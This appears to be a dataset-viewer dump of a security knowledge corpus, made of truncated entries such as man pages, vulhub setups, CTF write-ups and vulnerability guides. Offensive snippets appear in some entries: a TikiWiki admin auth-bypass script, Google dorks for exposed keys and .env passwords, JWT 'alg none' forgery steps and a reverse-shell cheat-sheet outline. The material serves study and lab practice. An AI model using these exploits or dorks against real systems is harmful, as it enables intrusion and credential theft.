text
stringlengths
100
9.93M
category
stringclasses
11 values
mapfile === 从标准输入读取行并赋值到数组。 ## 概要 ```shell mapfile [-d delim] [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array] ``` ## 主要用途 - 从标准输入或文件描述符读取行并赋值到数组。 ## 选项 ```shell -d delim 将delim设为行分隔符,代替默认的换行符。 -n count 从标准输入中获取最多count行,如果count为零那么获取全部。 -O origin 从数组下标为origin的位置开始赋值,默认的...
sec-knowleage
# Race Condition > Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programm...
sec-knowleage
blockdev === 从命令行调用区块设备控制程序 ## 补充说明 **blockdev命令** 在命令调用“ioxtls”函数,以实现对设备的控制。 ### 语法 ```shell blockdev(选项)(参数) ``` 选项 ```shell -V:打印版本号并退出; -q:安静模式; -v:详细信息模式; --setro:只读; --setrw:只写; --getro:打印只读状态,“1”表示只读,“0”表示非只读; --getss:打印扇区大小。通常为521; --flushbufs:刷新缓冲区; --rereadpt:重新读取分区表。 ``` ### 参数 设备文件名:指定要操作的磁盘的设备文件名。 ### 实...
sec-knowleage
## Jit in my pants (reversing, 3 points, 38 solves) Because reversing an obfuscated jit'ed virtual machine for 3 points is fun! In this task we got an ELF binary. Looking at it's disassembly was really hard - lots of obfuscated code was put there - I thought that for 3 points we were supposed to use something easier....
sec-knowleage
#include <cstdio> #include <cstdint> #include <map> using namespace std; char s[] = " .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::. "; uint64_t poly = 0xC96C5795D7870F42; uint64_t table[256]; void generate_table() { for(int i=0; i<256; ++i) { uint64_t crc = i; for...
sec-knowleage
# 代理技术相关研究 计划研究时间:5天 ## 0. 前言 代理技术本质上是关于**IP资源**的对抗。IP资源作为黑灰产基础设施之一, 也是企业进行安全防护的一个重要切入点。本篇从研究代理技术出发,计划依次整理以下几个部分: - 代理技术 - 黑灰产常用解决方案 - 对抗手段 - 风控相关 - 安全攻防相关 - 体系建设思路 - 现有思路整理 - 发现思路 - 分类思路 - 情报体系 - 指标计算体系 - 展望 ## 1. 代理技术 ### 1.1 按匿名程度区分 以下是按代理技术的匿名程度作分类,这里我们回顾一下HTTP请求头...
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "REINDEX" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME REINDEX \- 重建索引 .SH SYNOPSIS .sp .nf REINDEX { DATABASE | TABLE | INDEX } \fIname\fR [ FORCE ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBREINDEX\fR 基于存储在表上的数据重建索引, 替换旧的索引拷贝。使用 REINDEX 有两个...
sec-knowleage
# Neo4j Shell Server 反序列化漏洞(CVE-2021-34371) Neo4j是一个开源图数据库管理系统。 在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中`setSessionVariable`方法存在反序列化漏洞。因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响。 在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代。 参考链接: - https://www.exploit-db.com/exploits/50170 - https://github.com/mozilla/...
sec-knowleage
# Fiked包描述 FakeIKEd简称fiked,是一个假的IKE守护进程。它支持足够的标准和思科扩展,可以以“semi MitM”的方式攻击常见不安全的基于IPsec身份验证设置的Cisco VPN PSK +XAUTH。Fiked可以模拟VPN网关的IKE响应程序,以捕获XAUTH登录凭据; 目前fiked并没有“full MitM”的客户端 **资料来源**:http://www.roe.ch/FakeIKEd [fiked主页](http://www.roe.ch/FakeIKEd)|[Kali fiked Repo](http://git.kali.org/gitweb/?p=packages/fiked.git;a=...
sec-knowleage
# Reverse Shell Cheat Sheet ## Summary * [Tools](#tools) * [Reverse Shell](#reverse-shell) * [Awk](#awk) * [Automatic Reverse Shell Generator](#revshells) * [Bash TCP](#bash-tcp) * [Bash UDP](#bash-udp) * [C](#c) * [Dart](#dart) * [Golang](#golang) * [Groovy Alternative 1](#groovy-altern...
sec-knowleage
# Automatic door (Web, 500p) In the task we get the source code of a webpage we can access: ```php <?php $fail = str_repeat('fail', 100); $d = 'sandbox/FAIL_' . sha1($_SERVER['REMOTE_ADDR'] . '95aca804b832f4c329d8c0e7c789b02b') . '/'; @mkdir($d); function read_ok($f) { return strstr($f, 'FAIL_') === FALSE && ...
sec-knowleage
# 0x00 information_schema 这个表(视图)是在MySQL5以后的才有的,现在MySQL4应该是很少了,所以都围绕着MySQL5来讲解,information_schema是用于存储数据库元数据的表,它保存了数据库名,表名,列名等信息,让我们从爆破表名到了可以直接查询。 ``` mysql> show tables; +---------------------------------------+ | Tables_in_information_schema | +---------------------------------------+ | CHARACTER_SETS ...
sec-knowleage
.\" Copyright (c) 1980, 1990 The Regents of the University of California. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above co...
sec-knowleage
## sharpturn (forensics, 400p, 110 solves) > I think my SATA controller is dying. > > sharpturn.tar.xz-46753a684d909244e7d916cfb5271a95 ### PL Version `for ENG version scroll down` Dostajemy zip z czymś co może być tylko zawartością folderu `.git`. Wypakowywujemy więc sobie z niego dane (zrobiliśmy to za pomocą python...
sec-knowleage
version: '2' services: web: image: vulhub/ffmpeg:2.8.4-with-php command: php -S 0.0.0.0:8080 -t /var/www/html volumes: - ./www:/var/www/html ports: - "8080:8080"
sec-knowleage
# Apache Unomi Remote Express Language Code Execution (CVE-2020-13942) [中文版本(Chinese version)](README.zh-cn.md) Apache Unomi is a Java Open Source customer data platform, a Java server designed to manage customers, leads and visitors’ data and help personalize customers experiences. In the versions prior to 1.5.1, A...
sec-knowleage
# 线性反馈移位寄存器 - LFSR ## 介绍 线性反馈移位寄存器的反馈函数一般如下 $a_{i+n}=\sum\limits_{j=1}^{n}c_ja_{i+n-j}$ 其中,$c_j$ 均在某个有限域 $F_q$ 中。 既然线性空间是一个线性变换,我们可以得知这个线性变换为 $$ \begin{align*} &\left[ a_{i+1},a_{i+2},a_{i+3}, ...,a_{i+n} \right]\\\\=&\left[ a_{i},a_{i+1},a_{i+2}, ...,a_{i+n-1} \right]\left[ \begin{matrix} 0 & 0 & \cdots & 0...
sec-knowleage
# JWT Vulnerabilities ## Introduction JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. ## How to exploit 1. Modify the algorithm to "none" algorithm ``` { "alg": "none", "typ": "JWT" } ``` 2. Mod...
sec-knowleage
# Journey: Chapter II (web/re, 384+31 pts, 5 solves) The source of `admin.html` suggests that we are after an `admin-tool` binary: ```html <div style="margin-top: 20px"> Don't forget to practice remembering your Security Key PIN code with the ./admin-tool tool! </div> ``` An arbitrary file read would be nice. One e...
sec-knowleage
# CTF 历史 > 本栏内容摘自诸葛建伟老师在 i 春秋上的公开视频「The Past, Present and Future of CTF」。 ## CTF 的起源 CTF 的前身是传统黑客之间的网络技术比拼游戏,起源于 1996 年第四届 DEFCON。 ## 早期 CTF 竞赛 第一个 CTF 比赛(1996 年-2001年),没有明确的比赛规则,没有专业搭建的比赛平台与环境。由参赛队伍各自准备比赛目标(自行准备与防守比赛目标,并要尝试攻破对方的比赛目标)。而组织者大都只是一些非专业的志愿者,接受参赛队伍手工计分的请求。 没有后台自动系统支持和裁判技术能力认定,计分延迟和误差以及不可靠的网络和不当的配置,导致比赛带来了极大的...
sec-knowleage
--- title: Resolutions date: 2020-12-27 17:21:54 tags: - design - screen - size categories: - Other intro: | This cheat sheet lists screen sizes, viewport size and CSS media queries for popular Phones, Tablets, Laptops and Watches --- Getting Started {.cols-2} --------------- ### Introduction - Reso...
sec-knowleage
# Unknown - Prison Cell Category: Web ## Description > You don’t manage to disarm the guard, he is quicker than you are. He knocks you out, and when you wake up you’re inside a prison cell, but it doesn’t seem like you’re on a boat anymore, you must be inside the headquarters on the secret island! The cell is claustrop...
sec-knowleage
import os import SocketServer import base64 as b64 import hashlib from Crypto.Util import number from Crypto import Random from Crypto.PublicKey.pubkey import * import datetime import calendar from schnorr import * MSGLENGTH = 40000 HASHLENGTH = 16 FLAG = open("flag","r").read() PORT_NUM = 20014 def digitalize(m): ...
sec-knowleage
## Router ### histroy 属性 histroy 来自于 es6 的 histroy 机制 Router组件里的history属性,用来监听浏览器地址栏的变化,并将URL解析成一个地址对象,供 React Router 匹配。 history属性,一共可以设置三种值 - BrowserRouter - hashHistory 路由将通过URL的hash部分(#)切换。 - createMemoryHistory 主要用于服务器渲染。它创建一个内存中的history对象,不与浏览器URL互动。 ### BrowserRouter 浏览器的路由就不再通过`Hash`完成了,而显示正常的路径`example.co...
sec-knowleage
import requests import sys import re def auth_bypass(s, t): d = { "ticket" : "", "user" : "admin", "pass" : "trololololol", } h = { "referer" : t } d["ticket"] = get_ticket(s, "%stiki-login.php" % t) d["pass"] = "" # blank login r = s.post("%stiki-login.php" % t, data=d...
sec-knowleage
.\" Copyright (c) 1983, 1991 The Regents of the University of California. .\" All rights reserved. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above co...
sec-knowleage
## URE (Crypto, 100p) Universal ReEncryption ###ENG [PL](#pl-version) We have to change ciphertext in such way, that after decrypting plaintext is unchanged: ![](task.png) We need to think about what task authors really want from us - in mathematical terms. `r` and `s` are random numbers, so if we substitute them ...
sec-knowleage
# Wireshark twoo twooo two twoo... Category: Forensics, 100 points ## Description > Can you find the flag? A network capture was attached. ## Solution We get a network capture with mainly HTTP and DNS traffic: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Wireshark_twoo_twooo_two_twoo] └─$ tshark -qz io,phs -r shark2....
sec-knowleage
version: '2' services: spring-security: image: vulhub/spring-security:5.6.3 ports: - "8080:8080"
sec-knowleage
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。如有肾囊肿,请定期检查肾囊肿的大小变化。 **攻击机:** 192.168.1.102 Debian **靶机:** 192.168.1.2 Windows 7 192.168.1.115 Windows 2003 192.168.1.119 Windows 2003 **第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:** * auxiliary/scanner/discovery/arp_sweep * auxiliary/scanner/discovery/udp_sweep * auxiliary/scanner/ft...
sec-knowleage
import re import os FILE_EXCLUDE_PATTERN = re.compile(r'[/\\]\.(git|idea|vscode|pytest_cache)[/\\]') def is_textplain(data: bytes): return b'\x00' not in data def test_content(): basedir = os.path.realpath(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', '..')) for (now_dir, dirs, files)...
sec-knowleage
# Gogs 任意用户登录漏洞(CVE-2018-18925) gogs是一款极易搭建的自助Git服务平台,具有易安装、跨平台、轻量级等特点,使用者众多。 其0.11.66及以前版本中,(go-macaron/session库)没有对sessionid进行校验,攻击者利用恶意sessionid即可读取任意文件,通过控制文件内容来控制session内容,进而登录任意账户。 参考链接: - https://github.com/gogs/gogs/issues/5469 - https://xz.aliyun.com/t/3168 - https://www.anquanke.com/post/id/163575 ## 环境启...
sec-knowleage
# 3-异或 --- 目标 T3.exe 使用 IDA 打开,找 main 函数,并做基本的分析,重命名函数 可以看到对比 T2.exe ,循环这里的每个字符+1变成了字符与i异或 转换的代码是 ```c for ( i = 0; i < strlen(v4); ++i ) v4[i] ^= i; ``` 编写相应 python 脚本 ```py data=[0x66,0x6D,0x63,0x64,0x7F,0x5C,0x49,0x52,0x57,0x4F,0x43,0x45,0x48,0x52,0x47,0x5B,0x4F,0x59,0x53,0x5B,0x55,0x68] for i in range(len(data)...
sec-knowleage
rev === 将文件内容以字符为单位反序输出 ## 补充说明 **rev命令** 将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。 ### 语法 ```shell rev(参数) ``` ### 参数 文件:指定要反序显示内容的文件。 ### 实例 ```shell [root@localhost ~]# cat iptables.bak # Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013 *filter :INPUT DROP [48113:2690676] :FORWARD accept [0:0] ...
sec-knowleage
# Mojarra JSF ViewState Deserialization Vulnerability [中文版本(Chinese version)](README.zh-cn.md) JavaServer Faces (JSF) is a standard for building Web applications, and Mojarra is a framework that implements JSF. The Mojarra that before 2.1.29-08 and 2.0.11-04, is not configured to encrypt the ViewState, so the web app...
sec-knowleage
# Can You See It? Category: Misc., 40 Points ## Description > All we got is this video. > > Can you please help? > > Good Luck! A video was attached. ## Solution Playing the video, we get a quick flickering of background colors. We can extract a portion to a GIF file as a demonstration: ```console root@kali:/media/sf...
sec-knowleage
## A numbers game (PPC, 50p) Description: People either love or hate math. Do you love it? Prove it! You just need to solve a bunch of equations without a mistake. ###ENG [PL](#pl-version) Server sends input in format: Hi, I heard that you're good in math. Prove it! Level 1.: x - 18 = -12 And we are supposed to sen...
sec-knowleage
# Pyhon --- **推荐工具/资源** - [pycharm](https://www.jetbrains.com/pycharm/) - [vscode](https://code.visualstudio.com/) - [jackzhenguo/python-small-examples](https://github.com/jackzhenguo/python-small-examples) --- ## 安装/配置/报错 ### 安装 **yum 安装** ```bash yum install epel-release 或 wget -O /etc/yum.repos.d/epel.repo http://mi...
sec-knowleage
from library import * i, o, t = load_npz(sys.argv[1]) normalize(t) smooth(t, 25) align_fft(t, 35000) print_corr(t) i, o, t = filter_corr(i, o, t, 0.4) print len(t) save_npz(sys.argv[2], i, o, t)
sec-knowleage
# AppWeb认证绕过漏洞(CVE-2018-8715) AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。 AppWeb可以进行认证配置,其认证方式包括以下三种: - basic 传统HTTP基础认证 - digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头 - form 表单认证 其7.0.3之前的版本中,对于digest和form两种认...
sec-knowleage
# 第2章 发球前——红队侦察 > 译者:[@Snowming](https://github.com/Snowming04) ![](../images/chapter_2/2-1.PNG) 在 The Hacking Playbook 2 中,前面的发球部分重点介绍了一些不同的工具,如 Recon-NG、Discover、Spiderfoot、Gitrob、Masscan、Sparta、HTTP Screenshot、漏洞扫描器(包括 nessus,openvas)、Burp 套件等。这些工具我们可以在外网或内网络使用,对目标的基础设施进行侦察或扫描。在本书中我们将延续这一做法,然后从红队的角度对侦察阶段进行拓展。 ## 环境探...
sec-knowleage
# Weblogic未授权远程代码执行漏洞 (CVE-2023-21839) Oracle WebLogic Server是业界领先的应用程序服务器,用于使用Java EE标准构建企业应用程序,并以低拥有成本将其部署在可靠、可扩展的运行时。 在 [Oracle 2023年1月安全公告日](https://www.oracle.com/security-alerts/cpujan2023.html) 修复了这个漏洞。 CVE-2023-21839 允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致 R...
sec-knowleage
# ret2usr(已过时) ## 概述 **在【未】开启SMAP/SMEP保护的情况下**,用户空间无法访问内核空间的数据,但是内核空间可以访问/执行用户空间的数据,因此 `ret2usr` 这种攻击手法应运而生——通过 kernel ROP 以内核的 ring 0 权限执行用户空间的代码以完成提权。 通常 CTF 中的 ret2usr 还是以执行```commit_creds(prepare_kernel_cred(NULL))```进行提权为主要的攻击手法,不过相比起构造冗长的ROP chain,ret2usr 只需我们要提前在用户态程序构造好对应的函数指针、获取相应函数地址后直接 ret 回到用户空间执行即可。 ✳ 对于开启...
sec-knowleage
join === 两个文件中指定栏位内容相同的行连接起来 ## 补充说明 **join命令** 用来将两个文件中,制定栏位内容相同的行连接起来。找出两个文件中,指定栏位内容相同的行,并加以合并,再输出到标准输出设备。 ### 语法 ```shell join(选项)(参数) ``` ### 选项 ```shell -a<1或2>:除了显示原来的输出内容之外,还显示指令文件中没有相同栏位的行; -e<字符串>:若[文件1]与[文件2]中找不到指定的栏位,则在输出中填入选项中的字符串; -i或--ignore-case:比较栏位内容时,忽略大小写的差异; -o<格式>:按照指定的格式来显示结果; -t<字符>:使用栏位的分割字符; ...
sec-knowleage
#!/usr/bin/env python3 import inspect import os import random import sqlite3 import string import sys import base64 from html import escape from urllib import parse from typing import Union, List, Tuple import datetime from subprocess import STDOUT, check_output import requests from flask import Flask, send_from_dire...
sec-knowleage
.\" Copyright (C) 1996 Andries Brouwer (aeb@cwi.nl) .\" .\" %%%LICENSE_START(VERBATIM) .\" Permission is granted to make and distribute verbatim copies of this .\" manual provided the copyright notice and this permission notice are .\" preserved on all copies. .\" .\" Permission is granted to copy and distribute modifi...
sec-knowleage
# Drupal XSS漏洞(CVE-2019-6341) * 影响软件:Drupal * 方式:通过文件模块或者子系统上传恶意文件触发XSS漏洞 * 参考链接:[Drupal 1-click to RCE 分析](https://paper.seebug.org/897/) * 效果:JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等) ## 漏洞环境 执行如下命令启动drupal 8.5.0的环境: ```bash docker compose up -d ``` 环境启动后,访问 `http://your-ip:8080/` 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysq...
sec-knowleage
version: '2' services: web: image: vulhub/v2board:1.6.1 ports: - "8080:80" depends_on: - db - redis entrypoint: - bash - /entrypoint.sh volumes: - ./entrypoint.sh:/entrypoint.sh command: apache2-foreground db: image: mysql:5.7 environment: - MYSQL_ROOT...
sec-knowleage
logname === 打印当前终端登录用户的名称。 ## 概要 ```shell logname [OPTION]... ``` ## 主要用途 - 打印当前终端登录用户的名称。 ## 选项 ```shell --help 显示帮助信息并退出。 --version 显示版本信息并退出。 ``` ## 返回值 返回0表示成功,返回非0值表示失败。 ## 例子 ```shell [root@localhost ~]# logname root ``` ### 注意 1. 注意区分 `whoami` 和 `logname` 这两个命令;比如我们以用户 `root` 打开的终端,然后切换到了用户 `user2`。此时, ...
sec-knowleage
# GitLab 远程命令执行漏洞(CVE-2021-22205) GitLab是一款Ruby开发的Git项目管理平台。在11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞[CVE-2021-22204](https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html)的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行任意命令。 参考链接: - https://hackerone.com/reports/1154542 - https://devcraf...
sec-knowleage
# BitBitBit (crypto, 8 solved, 860p) In the task we get the [server code](server.py). What happens is we get RSA-encrypted flag from the server, along with the public key and some parameters based on the private key primes. The inteded solution was to analyse the key generation algorithm and recover the private key. Bu...
sec-knowleage
supervisord === 配置后台服务/常驻进程的进程管家工具 ## 安装 ```shell # 安装 supervisord apt-get install supervisor ``` ## 实例 生成配置文件 `/etc/supervisord.conf` ```shell [program:app] command=/usr/bin/gunicorn -w 1 wsgiapp:application directory=/srv/www user=www-data ``` supervisord: 启动 supervisor 服务 ```shell supervisorctl start app supervisorc...
sec-knowleage
# T1092-通过可移动媒介传播 ## 来自ATT&CK描述 攻击者可以使用可移动媒体,在可能断开网络链接的受感染主机之间执行命令和控制,用于在系统之间传输命令。这两个系统都需要被攻破,一个连接互联网的系统可能首先被攻陷,其次是通过可移动媒体复制的横向移动。命令和文件将从断开连接的系统中继到攻击者可以直接访问的互联网连接系统。 ## 检测 监控可移动媒体上的文件访问。检测安装可移动媒体时执行的进程。国内很多终端桌面管理系统可以对U盘行为进行有效监控。 ## 参考推荐 MITRE-ATT&CK-T1092 <https://attack.mitre.org/techniques/T1092>
sec-knowleage
# 在内存中直接搜索 flag **Initial RAM disk**(`initrd`)提供了在 boot loader 阶段载入一个 RAM disk 并挂载为根文件系统的能力,从而在该阶段运行一些用户态程序,在完成该阶段工作之后才是挂载真正的根文件系统。 initrd 文件系统镜像通常为 gzip 格式,在启动阶段由 boot loader 将其路径传给 kernel,自 2.6 版本后出现了使用 cpio 格式的initramfs,从而无需挂载便能展开为一个文件系统。 initrd/initramfs 的特点便是**文件系统中的所有内容都会被读取到内存当中**,而大部分 CTF 中的 kernel pwn 题目都选择直接将...
sec-knowleage
# 威胁狩猎相关资源 ## 合集项目 - 威胁狩猎大合集 - https://blue.y1ng.org/0x2_threat_hunting - The ThreatHunting Project - https://github.com/ThreatHuntingProject/ThreatHunting - https://www.threathunting.net/ - The ThreatHunter-Playbook - https://github.com/OTRF/ThreatHunter-Playbook ## 相关工具 ### 暗网搜索工具 - 暗网...
sec-knowleage
# Drupal 远程代码执行漏洞(CVE-2018-7602) * 影响软件:drupal * 方式:对URL中的#进行编码两次,绕过sanitize()函数过滤 * 效果:任意命令执行 ## 漏洞环境 执行如下命令启动drupal 7.57的环境: ```bash docker compose up -d ``` 环境启动后,访问 `http://your-ip:8081/` 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。 ## 漏洞复现 参考[pimps/CVE-2018-7600](https://github.com/pimps/CV...
sec-knowleage
# Jetty Ambiguous Paths Information Disclosure Vulnerability (CVE-2021-28164) [中文版本(Chinese version)](README.zh-cn.md) Eclipse Jetty is a Java web server and Java Servlet container. Jetty release 9.4.37 introduced a more precise implementation of RFC3986 with regards to URI decoding, together with some new complianc...
sec-knowleage
iptables-restore === 还原iptables表的配置 ## 补充说明 **iptables-restore命令** 用来还原iptables-save命令所备份的iptables配置。 ### 语法 ```shell iptables-restore(选项) ``` ### 选项 ```shell -c:指定在还原iptables表时候,还原当前的数据包计数器和字节计数器的值; -t:指定要还原表的名称。 ``` ### 实例 ```shell iptables-restore < iptables.bak ``` iptables.bak是iptables-save命令所备份的文件。
sec-knowleage
--- title: TOML date: 2020-12-29 20:36:35 background: bg-[#848484] tags: - config - format categories: - Programming intro: | This is a quick reference cheat sheet to the TOML format configuration file syntax. plugins: - copyCode --- Getting Started --------------- ### Introduction [TOML](https://to...
sec-knowleage
# Google Dorks ## List - inurl:example.com intitle:"index of" - inurl:example.com intitle:"index of /" "*key.pem" - inurl:example.com ext:log - inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv - inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git - inurl:example.com intitle:"index of" "config....
sec-knowleage
### CVP概述 CVP是Lattice-based cryptography中尤为重要的一个问题。 问题的基本定义如下:给定格$L$的一组基与向量$\mathbf{v}$,找到在$L$上离$\mathbf{v}$最近的一个向量。 <!-- TODO: Add more Lattice-based cryptography (CVP specifically) application intro here. TODO: Make intro more descriptive and rigorous. --> ### Babai's nearest plane algorithm介绍 <!-- TODO: Add intro --...
sec-knowleage
<?php /* * Generated configuration file * Generated by: phpMyAdmin 4.6.2 setup script * Date: Mon, 07 May 2018 10:48:03 +0000 */ /* Servers configuration */ $i = 0; /* Server: mysql [1] */ $i++; $cfg['Servers'][$i]['verbose'] = 'mysql'; $cfg['Servers'][$i]['host'] = 'mysql'; $cfg['Servers'][$i]['port'] = 3306; $c...
sec-knowleage
# 简介 ## 攻击模式 在我们攻击一个密码学系统时,我们或多或少会得到关于这个系统的一些信息。根据得到信息量的不同,我们可以采用的方法就可能不同。在当今的密码学分析时,一般我们都会假设攻击者知道密码学算法,这个假设是合理的,因为历史上有很多保密的算法最后都被人所知,比如 RC4。被知道的方式多重多样,比如间谍,逆向工程等。 这里我们根据攻击者获取密码学系统的信息的多少将攻击模式分为以下几类 - **唯密文攻击**:攻击者仅能获得一些加密过的密文。 - **已知明文攻击**:攻击者有一些密文对应的明文。 - **选择明文攻击**:攻击者在开始攻击时可以选择一些明文,并获取加密后的密文。如果攻击者在攻击中途可以根据已经获取的信息选择新...
sec-knowleage
# electron 远程命令执行漏洞(CVE-2018-1000006) Electron是由Github开发,用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。 在Windows下,如果Electron开发的应用注册了Protocol Handler(允许用户在浏览器中召起该应用),则可能出现一个参数注入漏洞,并最终导致在用户侧执行任意命令。 参考链接:[Electron < v1.8.2-beta.4 远程命令执行漏洞—【CVE-2018-...
sec-knowleage
# 0x00 注入的产生 1. 程序在开发的时候没对用户的数据过滤,把用户的数据都当做可信数据。 2. 过滤不严格。 3. 数据库配置不当。 4. 转义不当。 # 0x01 注入的类型 常见的注入我们可以归纳为数字型,字符型,搜索型,盲注等。 ``` select * from admin where id = $id; //数字型 注入 select * from admin where id = '$id'; //字符型 select * from admin where id = "$id"; select * from admin where id = ($id); select * from admin where id ...
sec-knowleage
# T1590-004-收集目标组织网络信息-网络拓扑 ## 来自ATT&CK的描述 在入侵受害者之前,攻击者可能会收集受害者网络拓扑的信息。网络拓扑的信息可能包括各种细节,包括面向外部和内部网络环境的物理或逻辑布置。这些信息可能还包括有关网络设备(网关,路由器等)和其他基础结构的详细信息。 攻击者可以通过不同的方式收集这些信息,例如通过[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)或[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)。网络拓扑信息也可能通过在...
sec-knowleage
##4w1h (misc, 100p) `Hint! The flag is made up of the direction each image is looking in, like 9447{NWSE}` ###PL [ENG](#eng-version) Dostajemy w zadaniu 10 obrazów i zgodnie z podpowiedzią mamy sprawdzić w jakim kierunku patrzy kamera która robiła dane zdjęcie. ![](img/0.png) https://www.google.pl/maps/@-22.9578184,-43...
sec-knowleage
.TH IPTABLES-RESTORE 8 "Jan 04, 2001" "" "" .\" .\" Man page written by Harald Welte <laforge@gnumonks.org> .\" It is based on the iptables man page. .\" .\" This program is free software; you can redistribute it and/or modify .\" it under the terms of the GNU General Public License as published by .\" the Free Softwar...
sec-knowleage
history === 显示或操作历史列表。 ## 概要 ```shell history [-c] [-d offset] [n] history -anrw [filename] history -ps arg [arg...] ``` ## 主要用途 - 显示历史列表。 - 操作历史列表。 ## 选项 ```shell -c 清空历史列表。 -d offset 根据offset删除记录。如果是正数则表示offset位置的记录,如果为负数则表示从结尾向前offset位置的记录。 -a 将当前终端的历史记录行添加到历史记录文件。 -n 将尚未从历史文件中读取的历史行...
sec-knowleage
# DB2 Injection > ## Summary * [DB2 Cheatsheet](#db2-cheatsheet) * [References](#references) ## DB2 Cheatsheet ### Version ```sql select versionnumber, version_timestamp from sysibm.sysversions; select service_level from table(sysproc.env_get_inst_info()) as instanceinfo select getvariable('sysibm.version') from sysi...
sec-knowleage
# T1190-CVE-2020-25540-目录遍历文件读取漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排...
sec-knowleage
# 1996 PWN ## Description: > It's 1996 all over again! ```c++ // compile with -no-pie -fno-stack-protector #include <iostream> #include <unistd.h> #include <stdlib.h> using namespace std; void spawn_shell() { char* args[] = {(char*)"/bin/bash", NULL}; execve("/bin/bash", args, NULL); } int main() { char b...
sec-knowleage
# Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645) Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。 ## 漏洞环境 执行如下命令启动漏洞环境 ``` docker compose up -d ``` 环境启动后,将在4712端口开启一个TCPServer。 说一下,除了使用vulhub的docker镜像搭建环境外,我们下载了log4j的jar文件后可以直接在命令行启动这个TCPServer:`java -cp "log4j-api-2.8.1....
sec-knowleage
# Finally - home! (5/5) Category: Innovation ## Description > https://s3.us-west-2.amazonaws.com/cyber-ctf.be/chl5/9f2d4057-618a-4016-a854-e6ed23d30b21.html ## Solution We visit the attached website and get a form titled "Ready to Land?": ```html <form id="form"> <div class="form__group field"> <input type=...
sec-knowleage
# OpenTSDB arbitrary commands injection (CVE-2020-35476) [中文版本(Chinese version)](README.zh-cn.md) OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase. A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange v...
sec-knowleage
# Relatively Secure Algorithm Category: Cryptography ## Description > The department of EEvil is plotting something, we found this file on one of the faculty's computers, can you figure out what it is? A text file was attached. ## Solution From the name of the challenge we can guess that it will deal with RSA. Let's ch...
sec-knowleage
import numpy as np sbox = [ 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x3...
sec-knowleage
# angrybird (RE 125) ###ENG We are faced with x64 ELF binary. Binary is obviously corrupted - it exits right at the beginning. Unfortunatelly I don't have non-patched binary anymore, but I had to NOP a lot of code at the beginning: ```asm 55 push rbp 48 89 E5 mov rbp, rsp 48 83 C4 80 ...
sec-knowleage
